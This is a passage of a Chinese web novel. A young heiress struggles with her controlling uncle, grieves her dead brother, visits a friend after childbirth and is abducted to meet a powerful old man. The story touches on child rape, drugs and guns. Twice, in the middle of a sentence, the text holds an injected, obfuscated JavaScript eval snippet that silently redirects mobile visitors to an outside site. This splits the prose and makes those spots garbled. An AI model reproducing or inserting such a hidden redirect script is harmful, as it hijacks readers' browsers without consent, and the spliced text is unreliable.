窗外有洁白的雪,横生的枝丫,深蓝的夜空,和发光的月亮。 不好说多美,但不会让人心情变差的天气也算好天气。 “你要去哪?”齐燕华的声音从身后拍来,不等她反应,他人就站到了她身边。 “您什么时候走路也没声了。”固执地望着月亮,月买茶说。 “您都没问我想不想去青琐。” “不要在室内抽烟。” 打小被人夸的懂事不是虚的,听到长辈那样说,月买茶没多吭一声就把猩红的烟头摁灭在窗玻璃上。 烟气还在飘渺地冒出来,想起来那是电子烟,月买茶悻悻松开摁着开关的手。 没了压力,电子烟自动熄灭。扭过头看齐燕华,视线拼命往上够也只能看到他一双薄唇,“我不想去青琐,我讨厌那里。” 青琐就是她过敏原的聚居地。 “我会过敏,然后死掉。” “那里是世界上最安全的地方。”齐燕华抚她的头,“去做你的事。” 了解齐燕华说一不二的性格,月买茶没再和他争。戴上帽檐很长的鸭舌帽,她顶着满脸的阴影,鸭子走了两步,凑到齐燕华身旁。 撸起他柔软家居裤的裤腿到小腿肚,她拔了他束在腿上的手|枪。 黑油油沉甸甸,又硌又丑,握着枪,想到那物什,月买茶忍不住笑起来。 她见过的都挺丑,少有几根能以玉开头。 什么都玉只会害了你。寄生在脑里的网络热梗逸出,月买茶咯咯笑起来。 她笑得太放肆,以至于齐燕华敲了下她鸭舌帽的檐。 “以防万一啦。”月买茶拔出束在大腿上的银色小巧手|枪插到齐燕华小腿上。 “呐,扯平了。” 有阴影笼罩下来,在齐燕华弯腰前倏地撸下他的裤管,她站起来。 “早点回来。”开门时她听见齐燕华说。 其实也花不了多长时间,因为有人相助。 隆冬三月,寥落不久的医院里空空荡荡,灰尘呼呼呜着,像人在哭。 其实那天还挺吉利的,是老子和释迦牟尼的生日。 还是万物复苏的惊蛰。 蛇头在前面走着,跟在后头,月买茶低声与人打电话。 加西亚.加西亚怕她忌讳装死人出境,特意打电话来安慰她,“就睡一觉的事,明早就到仰光了。” 月买茶倒是无所谓,她每天都在问候自己父系母系两边的十八代祖宗,鬼节当夜还去坟头蹦迪过,也没出什么事,还因为运动量上来了昏得香喷喷的。 换上苍白的仿人皮衣,戴上呼吸机,穿白大褂的蛇头说可以进容器了。 “您放心,都是没用过的。” 月买茶点头,钻进容器里。 厚重的门一点一点合上,她的心脏随着阴影往高处提。 忽地提不动了,盯着蛇头惶惶的眼,月买茶意识到不对劲。 警服的味道突袭进鼻腔,她睁大眼,看见蛇头旁边露出来的齐燕华得意下属的笑脸,气得想呕。 “你——” “晚安,大小姐。” 3. 人前人后 你一般怎么安慰自己? 我会告诉自己只要我愿意伸出手,就会有人来帮我。 希望你不要误会我是在说我遭受的一切是咎由自取,或者别的。我只是想表达……描绘那种站在上头往下伸着手的美好姿态。 那正是我想成为的。 所以我很感激很感激那些朝我伸过来的手,无论何时无论何地,他们让我知道,梦想就在那。 梦想就在那。 就像小时候我想当总统,就像哪怕还没做成总统,但我知道,总统之位就在那,不会跑。 只要我活着。 单脚踩在装载着用宝石做关节的BJD娃娃的木柜上,往下伸手摸到尿尿的地方,再往里点,月买茶憋住气,烂熟地拿出不知道是昨天还是今天放进去的内置安全套。 晚上最好不要看时间,不然会惊悸。 忖度着许多事情,大脑愈发清醒,看看左边大腿上的环状伤疤,又看看右边大腿上束着的刀,她扯扯嘴角,想失策了。 拉开帘子一角,探出脸,她问齐燕华她的东西是否都拿过来了。 齐燕华说是,“都放在原位。” “左边床头柜第二格里有盒安全套您帮我拿过来一下,再脱衣服麻烦。” “你用那个做什么?” “你真希望我心那么大?” “那是女用的。”她放柔声音,用诱哄的语气说。 “这是在家里。”齐燕华的呼吸很沉重。 “您猜我为什么失眠?” “快点,不戴我不安心。” 一个还有塑封的纸盒便递了进来,“谢谢。”接过盒子,收回脸,月买茶打开那个盒子。 里面白花花地装满了药。 齐燕华说得对,在家里没必要那样。 担。 惊。 受。 怕。 干咽下药,拉开帘子走出去,随便找了个柜子倚靠住,她双手抱臂,垂着眼,长长叹:“爸爸啊。” 被冠以“爸爸”名称的人面容俊美,带着神像般的深邃平静坐在昏暗处,只差断臂便能完美。 可惜着阿芙洛狄忒变宙斯,薄唇碰撞的声音里,她拿起身后的叔娃摆弄,听齐燕华说: “那是毒贩。” “我不吸毒毒贩害不到我。”*1拆着叔娃,她笑出声,“但偷我东西的小偷可是真真害惨了我。” 叔娃的头随声离体,力道一个没控制住,两颗昂贵眼球就碌碌滚到摆着俄罗斯套娃和大瓶大罐的黄花梨木柜前。 走上前去拾起眼球,扶着柜子,她背对着齐燕华问: “您把我家搬过来,我回去了住哪里?” “不是要出国不回来?”齐燕华的语气很有棱角。 “我不是在这嘛。”朝俄罗斯套娃吹了口气,月买茶用小孩子被污蔑的伤心语气说。 “加西亚.加西亚树敌众多,不让你出去是怕波及到你,现在除了夏洲还有哪个地方是禁毒的。” “那些人手段多恶毒你又不是不清楚。” 一字一字磨掉语气里的棱角,齐燕华很轻很柔地说:“等安顿好了就让你去找朋友玩。” “你不是有很多朋友在青琐。” “你基金会里也有不少人在青琐,可以跟他们聚聚。” “正好你不喜欢带保镖出门,青琐安全,你想不带也行。”齐燕华放出附加条件。 友情、事业、自由,齐燕华很会拿捏人心。 “可是我要去给好朋友报仇啊。”顺着下行的嘴角,月买茶委委屈屈道,“我的好朋友被人强|奸了,她需要我去杀了那个人。” “对了,我早上跟大哥哥说让一群男的围着我我会害怕……”顿了顿,月买茶把额头抵在俄罗斯套娃的脸上,“我是在说两件事。” “我让他伤心了,可是他好忙,都没时间听我道歉。” “你们是同事,你应该知道他什么时候有空吧,可以帮我转达一下歉意吗?”说着松开俄罗斯套娃,月买茶转过头,背靠螺钿着凤凰的黄花梨木柜,盯住齐燕华。 像是想起什么事,齐燕华变得隐忍而痛苦。 他把脸侧到黑暗里,月买茶用满怀着憧憬的声音问:“爸爸你也被强|奸过吗?” “你怎么能这么说?” “你没有就好,sorry啦。”月买茶,合十双手,一副为人高兴的样子。 “心理医生说我这种行为很像太监。”月买茶反思,“见不得人健全。” 不过她被阉了十五年,没道理不让她心理扭曲吧。 “您刚刚在想哪场去势呢?”拿起青铜烛台,她走到齐燕华身边,坐到椅子扶手上。 烛泪滚滚,她见齐燕华像被扎了个大洞的气球一样发出无能为力的声音:“你是女孩子。” “哪来的势。” 噗嗤一声笑了出来,前俯后仰地笑了许久,笑到烛泪堆成肿瘤,她揽住齐燕华的肩哥俩好地拍了拍,“好啦,看在我如此难过的份上,放我走吧。” “好吗?爸爸。舅舅。” “好的吧。”她把烛台尖尖的角戳到齐燕华颈后。 “再讲下去,我们的角色扮演游戏就该破灭了。” 很长一段时间里室内只有两段轻重不同却一样缓的呼吸声,静静等待着,月买茶思考若齐燕华不许,她要怎么做。 青琐,权贵遍地的夏洲都城,她在那毫无根基。 想要什么都得伤筋动骨。 而且她还怕波及到齐燕华——这个她为数不多倾注过真心的长辈,规划大会临近,她真的怕影响到他。 齐燕华可不是李敏衡那种靠山遍地走的二代,要什么都容易被卡。 听说赏识提拔他的那位这几年要退了。 真是可惜。 “Remember to one who lives there.” 请代我向住在那里的一个人问好。 “He once was a true love of mine.”*2 他曾是我的真爱。 “我幻听了?”期盼已久的斯卡布罗集市淹进耳里,月买茶的第一反应是逃避。 科技真的发展到能起死回生的程度了? “你没有听错。”拿走她手上的烛台,齐燕华拨开她的手,鼓励地推了下她的肩。 “谢谢。”就势起身,循着乐声在床头柜上找到镶矢车菊蓝宝石的手机,接起来,月买茶扬起快乐小狗一样的笑容:“Alec,醒来的感觉怎么——” “——Elle,Alec不会醒来了。”哀伤又透着解脱的低沉男声说,“你的兄长,我的儿子,他离世了。” 小狗快乐的笑容垮了。 “好的,Uncle。”朝走来的齐燕华点头,月买茶指指手机示意自己在打电话,请他避一避。 “Elle……Tom,你还好吗?” “我很好啊。”月买茶扬起一个被所有礼仪老师夸过,被所有贵妇要求自己女儿学习的强大笑容,“我很好啊。” “我正在跟我舅舅讨论要如何预防儿童被父母的情感纠纷侵害呢。” “不好的话怎么会有闲心去讨论那种伤脑筋的话题呢。”月买茶朝齐燕华招手,向他求证,“是不是啊,舅舅。” 齐燕华高大地站着,用影子笼罩住她,两颗浅得薄情的琥珀色眼流露出一如既往的淡漠,好像适才的失色是假的。 盯着那两颗眼珠子安抚丧子的世叔,月买茶在中年男人的痛苦里把手指塞进嘴里,咬住。 唇缝间流出血,齐燕华一手抓住她手臂一手夺过手机。 说着她听得很清楚也知道意思但就是听不懂的英语,他把她的手指从她的嘴里抠出来。 舔着手上的血,隔着指缝,月买茶窃窃私语般问:“爸爸,你知道Alexander.Roosevelt吗?” 很多年前……其实也没有很多,也就过了十三年。十三年前Alex.Roosevelt那个名字因为一桩出轨案在鹰洲权贵圈里大噪。 因婚淡圈的好莱坞影后和赘入豪门的拳王野|合时被彼此的孩子撞见。影后之子冲向连接的二人身边,被惊慌的拳王一拳打晕。 “Alec的血从这里开始流。”月买茶把手上的血抹到额角,又从额角抹到脸颊上,然后是下颚,然后是脖子,“一直流到这儿。” “I''m so sorry for your loss.” 把手机还给她,齐燕华转身离开。 很快他回来了,带着湿毛巾和创可贴。 那时她把血涂满了脸。 “Alec是个很好的人,如果不是,如果不是他……”湿毛巾一点一点擦过脸颊,月买茶想起游走在Alec身上的管道。 我骄傲的,健康的,前途无限的哥哥。 他躺在那里,我们苟延残喘。 “Alec就那么冲过去了……那天我们本来是出去野餐的。” 擦着她的脸,齐燕华按铃叫人送盐水和可生食的肉。 “他就那么冲过去了。”月买茶重复着。 “他……”欺骗的睫毛翻飞,不经意间因为另一桩往事驻足。 仿制药的副作用发作——情绪渐渐退潮了,克制住生理本能,月买茶盯住齐燕华的脸。 齐燕华的脸实在美丽,在昏暗的灯光下甚至显现出一种古典油画般的质感。 只是气质实在不相符。齐燕华的气质太威严太高不可攀,实在不像古典油画一般柔和。 “安排我出国,我去送他最后一程。”很冷静地,月买茶说。 擦着她鼻面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968799|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沟里的血迹,齐燕华一声不吭。 “你真的很过分。” “那个凶手不是还在潜逃。把他抓起来给你出气好不好。” 月买茶很想笑。 知道齐燕华言出必行,拒绝了他的好心,她道:“我明天去找朋友。” “她在坐月子,我去陪她。” “把她接过来。” “不然你过去了还要给人帮忙,玩不尽兴。” “为什么呢?”月买茶问。 “为什么呀?” 唔了声,她转脸换了面七岁女孩儿般天真无邪的笑。或许是她装嫩装得让人反胃,齐燕华的万年不变的镇定脸变得negative起来。 “您一个议长,何必受这委屈呢?”月买茶亮出可以把人咬死的虎牙:“舅舅,您都知道我是为了Alec才要走的,怎么会想不到跟您住在一个屋檐下让我恶心呢?” “因为您有两个情妇吗?” “月白不是就好。”齐燕华折起深深浅浅红着的湿热毛巾,脸色很快淡漠似从前。 “你小哥哥——” “扣、扣、扣。” 往事在落地钟的哒哒里子弹一样射出去,月买茶发现自己更在意枪的外表。 迅速把自己整成一个有爸有妈有全家爱情友情事业丰收的健康女孩儿,她随手拿了本书跑到床边的殖民地椅里坐下。 头发柔顺吊在锁骨上方时,齐燕华应声:“进。” 来人穿着Mugler套裙,从梳在脑后的直发一路黑到高跟鞋,精英范十足。 看见她右手无名指上的海蓝宝戒指,月买茶合上书,起身接过来人手中的托盘,问好:“三嫂嫂。” 眉毛舒展着,江风柔关切道:“人还难受吗?” “都好了。”她乖乖地看着江风柔的脸。 “月白呢?”开了盏让卧室不阴森的灯,齐燕华出声。 “楚珂生病,他过去照顾。”江风柔说。 齐燕华颔首,“辛苦你了。” “早点休息。” “您也早点休息。”抬手摁住她肩,江风柔对齐燕华说。 “那嫂嫂走了。”江风柔低下头看她,一副对不稳定的当事人说话的轻柔口吻,“好好养身体,等这阵忙完了跟你小哥哥带你出去玩。” “嗯。嫂嫂晚安。” 珠帘荡漾,肃穆的檀香里掺了丝晚香玉气息。 望进齐燕华什么情绪都没有的眼底,月买茶说:“你一定要把我关在这。” 端走她手上的托盘放到茶几上,齐燕华说:“该吃饭了。” “你慢慢吃,我去处理事。” 交代完,齐燕华离开了。 长腿有力,步伐稳健。 晚香玉花香纠缠不休,蹲在椅子上,盯着干净的瓷盘,月买茶像照镜子一样左右摆了摆头。 灯光映在镜上,风映在镜上,月亮映在镜上,人也映在镜上。 映在镜上的人有一身单薄的黑绸睡袍,月华流转其上,衬得她纯得天真的脸清冷不可攀。 风吹散月光,那人细心往床角绑绳子。 “气总是要出的,人心总是要试探的。”月买茶听见那人对心说。 女人的哭嚎遥遥传入耳里,月买茶喝完盐水,拿起杯子敲在茶几上。 接着是盘子,再是筷子。 然后是所有可碎的瓷器镜子。找出剪刀,她扯剪下所有绸缎缦纱和铺墙的丝绸,用极短的时间编出一条坚韧的绳。 把绳从床脚系到阳台栏杆,她朝空中一抛成本高昂的绳子,翻身,踩着特意弄出来的绳结,在空中飘飘荡荡起来。 打电话给齐燕华,那边立刻接通,窃窃地,她以不惊动夜色的声音笑:“舅舅,想不想看空中飞人。” 齐燕华来速之快超出她预料。 他一头她特意搭在门框上的瓷器碎片,却不狼狈。 “那天李鹤要是没去,你打算怎么做?”握着绑在栏杆上的绳结,齐燕华问。 月买茶眨眨眼。 同一片天空下,她的同伙,一个十六岁的小雏女正坐在栏杆上,脚底伤痕累累,糊了层玫瑰花瓣般娇嫩的血块。 黑绸睡袍在风里摇荡,雏女遥望远方,抬起手,朝载满旅客的船挥手。 雏女皮肤冷白,腕上的筋络比旁人青,人瘦,筋络也比旁人突。 是很好用的一双手。 铁锈尖尖落了满脸,月买茶听到雏女假惺惺的哭声。 往上爬去一个绳结,她耸耸肩,很无所谓地回答:“在红通上吧。” 齐燕华的睫毛闻言垂了半颗眼珠,“你要去多久?”他讲时脸侧蓝牙耳机红灯闪烁。 月买茶一直思考到小雏女从栏杆上下去,“那我可不清楚,女生要聊的事可多了。” “别忘了回来,小白很想你。” 4. 昔我往矣 飞鸟又掠过蓝天,但天还是蓝得像什么都没发生过。 顶级月子中心外的行道寂静,寂静里有一层黄叶落在漆黑的沥青路上,沥青路上停着辆黑色的阿斯顿马丁SUV,SUV旁有个健硕高挑的女性司机在打电话。 阿赞在耳机里唱着面向四岁儿童的微积分公式,朝远处眺去,月买茶笑了下。 好宏伟呀。 婴儿的咿呀里,只身的飞鸟第很多次路过扎着朱红楼群的山。 目光追随着飞鸟,她轻轻说:“凌夏竹,有些苦注定走不出去,但能离远一点是一点吧。” 凌夏竹呆滞着双目,倚在有点瘪的瑜伽球上一动一动,不知是在伤怀还是在呼吸。 不再眷恋飞鸟,回过身跪坐到凌夏竹身旁,她把头倚在后者濡湿的前拉链式运动背心上。 “凌夏竹,我是孤儿,我比你清楚没有母亲的孩子能不能过得好,把孩子送到基金会吧。” “基金会里什么孩子没有,他们是专业的。” “等lochia*1排干净,你就可以回实验室继续梦想了。” “你过得好。”凌夏竹虚虚地哼笑了声。 “你过得好。”凌夏竹说。 “你过得好到所有人都知道你十三岁给人生孩子。” 女人虚弱的讥讽缓缓荡在空旷客厅的上空,很快烟消云散。若不是空间里只有自己和凌夏竹能讲话,月买茶还真不能确定那样的话是从凌夏竹干巴起皮的白唇里吐出来的。 她的唇只开了条用来呼吸的缝。 习惯性微笑起来,月买茶启唇:“是啊。” “那又怎么样?”她牵起凌夏竹的手到自己裙间。 那天她穿了条高饱和格裙,粉蓝的彩格,带一股夏日生机勃勃的气息。 “那时候我十三岁,在过生日。”她引凌夏竹的手去三角区,“没等来蛋糕和解琟,等来姚麟。”长长吐了口气,她握住凌夏竹的手指,按着让她颤抖的记忆摸过。 其实一点儿当年的感觉也没有,一个保养良好常年健身的人的手,和一个没背景科研人的手还是有很大区别的。 指尖打着圈,凌夏竹缓缓抬起眼皮,带着难得的神采问:“然后你怀孕了。” “是啊。”月买茶拿出她的手,搁在裙子上,不好意思地抿唇笑:“一次就怀上了,像你一样。” “所以你不过生日。”凌夏竹的眼睛几乎要射出光。 “不过。”月买茶点头。 “你怎么熬过去的,我看你跟个没事人一样。”像以前和月买茶一起八卦别人一样,凌夏竹八卦地问。 “当然跟个没事人一样。”月买茶低眉顺眼,笑得腼腆,“因为压根没那回事。” “我们这样的富家千金,怎么会被性|侵呢?你当家长和保镖是死的啊。” “就算真出什么事了,能传到你耳朵里吗?” “帮人挡流言而已,你还信了。” 凌夏竹的眼依旧放着光芒,唯一的变数是她抬手给了她一巴掌。 那巴掌很轻,但她确定凌夏竹不是在警告她什么,她只是没了扇肿她的力气。 连刘海都没动一下,月买茶收起表情,垂下眼,伸指戳戳凌夏竹的肚皮。 被撑开而无支撑物的肚皮青紫紫地缀成一团,耷拉到腿上,像团烂抹布。 她想起李尅一条一条摸过那些白痕时她大声喊出那是生长纹的模样。 明亮的骄傲的假的。 “你害的。”凌夏竹用做学术报告的不容质疑语气说。 尽管没有感到歉疚,但月买茶还是说了对不起。 是在情人节那天知道凌夏竹奉子成婚的。 李惨绿打电话来告诉她:你的朋友被孕期出轨的丈夫气得早产,现在在抢救。 那是时隔半年后月买茶第一次知道朋友的近况,偏偏跟她联系的还是她最不想再有接触的人。 那时她在和尤寒色打UNO,蛮不在乎道:“你会帮她。” 李惨绿一言不发挂了电话,她放下纸牌,拉尤寒色去中央大街,买情人节限定的可以进微波炉的娃娃,跟尤寒色说要把那个娃娃送给那刻以后见到的第一个痛经的人。 “如果那个人没有微波炉的话,我们就再送她一个微波炉。” 那个娃娃后来是送给了……送给谁了呢? “也不能全怪我。”月买茶偏开眼,可那坨有菱形纹的皮一直在她眼前晃荡。 她忽然理解了那些痛恨受害者的犯人。 他们是他们犯罪的证明。 又找到了恨生母的理由,真好。 “咱们嘲笑过的恋爱脑还少吗?” 这回脸被打歪了。 喘着累极了的粗气,凌夏竹眼噙着死寂,“如果不是李惨绿把药放我这。” “你是不是永远也不会来找我?”她反手从瑜伽球后拿出一个可以用买椟还珠形容的盒子。 月买茶说是啊,接过盒子,她轻飘飘道:“今天我就出国,不会再踏足夏洲半步。” 拆开药盒直接给自己打了一针,她听见凌夏竹问她作用机制。 她回答说是麻醉剂,那样穿高跟鞋就不会难受了。 其实具体是什么她也不知道啦,就是能让她在身体迟钝的情况下保持大脑清醒。 一百五十亿人需要的药品种类太多了,她哪做得到全部记下来? 抓住凌夏竹挥过来的手,月买茶站起来,走到摇篮边,伸手逗里头咿呀咿呀的大眼睛婴儿。 “不想去基金会的话,我可以帮她找户好人家。”点着小婴儿的鼻子,她笑道:“好小的强|奸犯呀。”*2 “你什么意思?”凌夏竹站起来,语气不善。 “你被激素控制了。”看着婴儿透亮的眼睛,月买茶笑,“不经你允许就钻你那地方,不是强|奸犯是什么?”*2 凌夏竹沉默了,或许是在思考,不过没两秒婴儿就哇哇大哭起来,让开位置,月买茶说请。 “没有人能绝对理性,所以我爱她。”抱起孩子拉下拉链,凌夏竹开始哺乳。 目光不由自主地被空闲的另一边攥住,低垂而干瘪,爬满青筋,黑紫而皱巴,像串卖相不好且只结了一颗果实的葡萄。 一年前的凌夏竹是什么样的? 知性、高冷、一针见血。 “送走吧,我真的认识很多好人家。”月买茶戳戳那颗枯萎的葡萄。 像所有走向死亡的活物,那颗葡萄流出腥臭的液体。 凌夏竹躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968800|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了躲,她动作不大,却带下一撮头发。 扫帚一样的头发横在她们之间,月买茶罕见地感受到无话可说。 凌夏竹却来了说话的兴趣,“我跟他在一起也是因为他是好人家的儿子。” “花言巧语我听过一回就不会再听了。”她哼笑道。 “帮我请离婚律师的是李惨绿,给我安排月子中心住的是李惨绿,那家人来闹以后让人起诉他们的是李惨绿,保留我职位的还是李惨绿。” “月买茶,帮我的是被你甩了的人,不是你。” “你有什么资格说三道四。” 可律所是我家开的,研究所是我在投资的,反向去闹事的是我的鬣狗小队啊。 低下头,月买茶小声道:“对不起。” “你?对不起?”凌夏竹一脸嘲讽的不可思议。 “愧疚啊……”她做出认真思考的表情,“你要是愧疚的话就留下来,陪我变好。” 月买茶不假思索拒绝:“我不会因为你去牺牲我的幸福。” “身体不好就请营养师,要恢复身材就请健身教练,孩子带不过来就请月嫂,我对你没有任何用处。” 凌夏竹笑了,“你来青琐,没打算跟他复合吗?” “他帮了我,我只能这么回报。” 可他叔叔性|侵了我的生日,月买茶很想那样说,但她没说。 可正常人平庸的生活里连伤害都不该有。 我们雄心勃勃,一起去田野调查,想做能满足所有人需求的适女化设计。我们精力充沛,翻遍每本意大利的Vogue,畅想在接受联合国杰出女科学家奖的那天以最时尚的姿态登上ERA。 我们回怼每个嘲笑我们的人,葡萄甜也好,葡萄酸也罢,终归是富含营养的果实。 可没人告诉我葡萄会枯萎。 “产后抑郁症就找心理医生。”月买茶补充道。 直到把孩子喂完,凌夏竹才再次开口,“现在想起来还觉得不可思议,李惨绿居然是最有人情味的那个。”她用讲八卦的口吻说。 “你们是怎么认识的?” 李惨绿啊,她以前喜欢他,以后也会喜欢他。 那或许是唯一一个能让她心动到的心不再动的人了。 “第一次见他的那晚,我用玫瑰花砸开他的窗,让他用小提琴拉一首春之祭*3。” “他拉了。” 穿白衬衫的男孩站于开满长寿花的窗台后,垂着眸,静默地拉着琴弓,在暴雨前夕奏一曲少年神秘的环舞*3。 玫瑰花泥融化在风里,唤醒琴屿一百八十座古董钢琴,与十四岁的男孩一起合奏一场恢宏舞曲。 大海吞月吐日一轮又一轮,那样的奇景再也不会重现。 “听说过扬州瘦马吗?”月买茶忽地想到齐燕华,齐燕华与李惨绿有五分像。 与她的监护人有八分像。 她再也见不到那么像他们俩的人了。 “我不会让自己再陷入困境。” “门前冷落鞍马稀,老大嫁作商人妇。商人重利轻别离,前月浮梁买茶去。”她哼道。 “你们夏洲人讲一语成谶,我入乡随俗,也信一回。” “有机会再见的话,别叫我月买茶。” 5. 今我来思 步履匆匆朝月子中心北门去,月买茶给在南门的司机发了条自己刚进电梯的消息。 很快一个电话打进来,是叶青衫的。 工作时间的来电实在诡异,她等了会儿才接起,“怎么了哥?” 叶青衫开门见山问她是找谁帮的忙,“李惨绿?” 他哥,月买茶在心里接上话,说:“找了嘉措哥。” “十三岁的时候他说我影响市容,后面一直觉得对不起我,就让我有事找他,刚好他是青琐人,我就找他帮忙了。” 叶青衫沉默的时间比昨天短了很多,“他人不错,但不会在这种事上帮你。” “原地待着,我让司机去找你,乖乖在家待着,别让自己难过。” 讲话可真难听,撇撇嘴,月买茶继续往外走。 走到一辆低调的SUV旁,她拉车门坐进后座。 “帮朋友孩子换尿布呢,没空听你说有的没的。”她说,“电话你挂,我没手。” 叶青衫似乎笑了声,“小兔崽子。” 干你祖宗十八代,我是老虎,腹诽着,月买茶闻到一股火药味。 手立刻往腿摸去,但一支更大的枪抢先一步顶上了她的太阳穴。 “也太没安全意识了。”持枪者用一种上了年纪的声音说。 月买茶眨了眨眼,“哥,我被绑架了。” “把电话给那个人。” “叶青衫找你,你看新闻的吧。”将手机递到身边,月买茶咬牙切齿地笑道,“不知道叶青衫,李清许你总知道吧。” 手机被拿走,那人说:“青青,是我。” “老爷子想见见月小姐。” “毕竟以后是一家人了。” 月买茶乐了,抬高声音喊:“一家人你拿枪顶我太阳穴啊。” 枪没有因为那话离开她的太阳穴,但镶矢车菊蓝宝石的手机却归回到了她的耳旁。 男人的呼吸沉重,她冷冷开口:“哥——” 叶青衫轻轻叹了口气,“抱歉,去一趟吧,就当去做客。” “晚点叔叔会去接你。” 月买茶笑了,甜甜的笑挂在脸上,她说好:“午安,哥哥。” 没等叶青衫回答,她直接挂断电话。擦着枪口转头,她一掰持枪者手腕,拨保险,握他手给了车前窗一弹夹。 防弹玻璃裂出好看的纹路,月买茶交叠起双腿,端正坐姿,王一样扬起下巴: “走吧。” * 阿斯顿马丁开上一座安静的山,月买茶被请进一幢小楼里。 小楼朴素,米色棉布干净柔软地铺满所有坐具,梅花香从粗瓷的孔里钻出来,一派轻松田园风。 被引着坐到正对木窗的长沙发上,月买茶遭了成年后的第二次冷落。 好在她自有打发时间的法子。悠然起身,她赏起挂满墙壁的非名家字画。 “真不好意思。”拨碎一个粗陶花瓶,她踩碾着撒了一地的梅,对保姆打扮的人致歉。 保姆憨厚笑笑,健步如飞离去。 片刻后,一制服打扮的陌生男人迈着有力步伐赶到,递给她一个崭新iPad。 新iPad里头的数据软件与她手机里的一模一样。 想到被收走的手机和蒙着眼的来时路,平静接过iPad,月买茶问制服男人,“带我来的那男的是谁?” 制服男人笑:“言叔帮老先生处理事情去了,处理完他会过来。” 月买茶呵了声,收回打量制服男人的视线,她边走神边回复一些简单的邮件。 老先生?她倒要看看是哪个老不死的。 抱着一簇新梅,保姆走到附近的柜子前,背对着她摆弄花枝高低。轻轻走过去,掏枪顶住保姆的头,她什么要求都没提。 保姆憨憨地笑着,掰开她的手,轻轻拿走枪,十分抱歉道:“Xie小姐,夏洲禁枪,慈山也不能免,您多担待。” Xie小姐?哪个Xie?禁毒委说她最初的身份加密,那只能是解琟的解了。 用力抽回手,她恶声恶气说:“齐燕华呢?” “齐议长在开会。”保姆笑吟吟的,一副会问她午饭想吃什么的模样。 转了转手腕,她伸出双手锁住保姆喉咙,“你家老爷子是谁?” 保姆面色通红,语气从容:“言哥没告诉您的话就是不想让您知道。” “或者他觉得您知道。” “这样啊。”歉然一笑,月买茶松开保姆掂量起来能去开赛车的脖子,“劳烦您替我转告老爷子,我气血旺,坐不住,得靠运动打发时间。” “请他多担待。” 话说完,她端起摆件就砸,梅花、陶瓷、家具,越过可能有意义的小物件和书画,她一路砸到紧闭的房门前。 握住门把手,她推开一小条缝: “老先生,我一个孤儿,做不了任何人的把柄,您拘着我,没用。” “今儿损坏我百倍赔偿,请您高抬贵手。” “不然——” “——老爷子让我转告您,隐岛风大,您要是闲着,不如帮解琟先生织件毛衣,免得他受寒。”凑到她身边,保姆微微笑着解了她的斗篷,斗篷上染着层水珠,保姆耳上,蓝牙耳机闪烁不停。 手一抖,月买茶推开了半扇门。 明亮中苍老的眼神扫在脸上,她想起自己还有个在隐岛上的监护人。 思绪千回百转,她轻轻合上门,接过保姆递来的扫把畚斗,清理起自己搞的破坏。 监护人在人手里做人质,她除了低头能做什么。 好不容易打扫完,站在天文学专著林立的书架前,她挑了本《呼兰河传》。 监护人对山海关外的茫茫雪原有着莫名的喜欢,当初才在鹭岛安好家,他就买了一墙有关北省的书,想与她一起看。 她那时拿起的是呼兰河传,也就拿过那么一次,后来就一直看别的流派的书了。 春节那会儿跟齐燕华聊天,谈起那个时代,她说自己被团圆媳妇吓到,她还记得自己的抱怨,“给小孩子看的书还写家长打小孩,脑子被驴踢了。” 齐燕华难得笑起来,“那是萧红写自己童年的,不是童书。”隔日书房里多了叠儿童文学。 家长和孩子的矛盾依旧存在,好在没有了青紫的瘟猪和被烫死的团圆媳妇。 吃一个全毛的鸡,出一身大汗,魂灵里边就永远有一个鸡存在着,神鬼就不敢上身,就不会做噩梦了。*1 那我的魂灵里有什么呢?月买茶像吃饱了一样摸肚子,她吃过生鸡肉生羊肉生牛肉生马肉生鱼肉,还吃过很多很多生的蔬菜。 那样想的话,那肚子里就有一个世界了。探索着自己的肚子,月买茶在鸡牛马羊的守护里发现了一座庙,那庙落了尘,莲座上坐着个女孩儿,女孩儿穿着蓝白相间的校服,飘逸公主切梳于脑后,扎出一个活泼高马尾,青春靓丽,与旁的高中生没差。 女孩儿大大方方笑着,嘴里的话却含着能引发海啸的恨意,“人在屋檐下,不得不低头,我低了;小不忍则乱大谋,我忍了;韩信受胯下之辱,成淮阴侯,我信了。” “可你怎么还是这么落魄?” “不应该的。”女孩儿惊疑地走下莲台,从四面八方摸她的脸,“你怎么了?” “你是被哪个蠢货夺舍了吗?” “还是,感情还在毒害你?” 月买茶怜爱地笑起来:“傻孩子,淮阴侯最后还不是被刘邦弄死了。” “那些人翻手为云覆手为雨,我怎么忍,怎么聪明都斗不过的。” 女孩儿愣了愣,抽抽搭搭地啜泣起来,“可是我不想吃蛋糕了。” “我不想吃蛋糕。” 月买茶怜爱地打开四面八方的手,安慰道:“斗不过就斗不过,活好每个当下就好。” “咱们这样短命的人,可千万不能去考虑以后。” “看个电影吧。”她问女孩儿,“想看什么?” 女孩儿扁起嘴,她接上话,“乱世佳人吧。” 那是安妮.蒙巴顿看过两遍的电影。 女孩儿撇开眼,月买茶点进文件库深处。 “After all,tomorrow is another day”*2从出音孔挤出,飘散在室内,才要调低音量,月买茶就听见一个男声开怀大笑:“I can''t agree more.” 她抬起头,见一个高高胖胖的外国人动作夸张地在往书房走。 那个胖老外携来一片金红晚霞。 霞光刺进眼里,睁着两眼泪,她在疼痛的恍惚里意识到下午已经过去,而齐燕华始终没来。 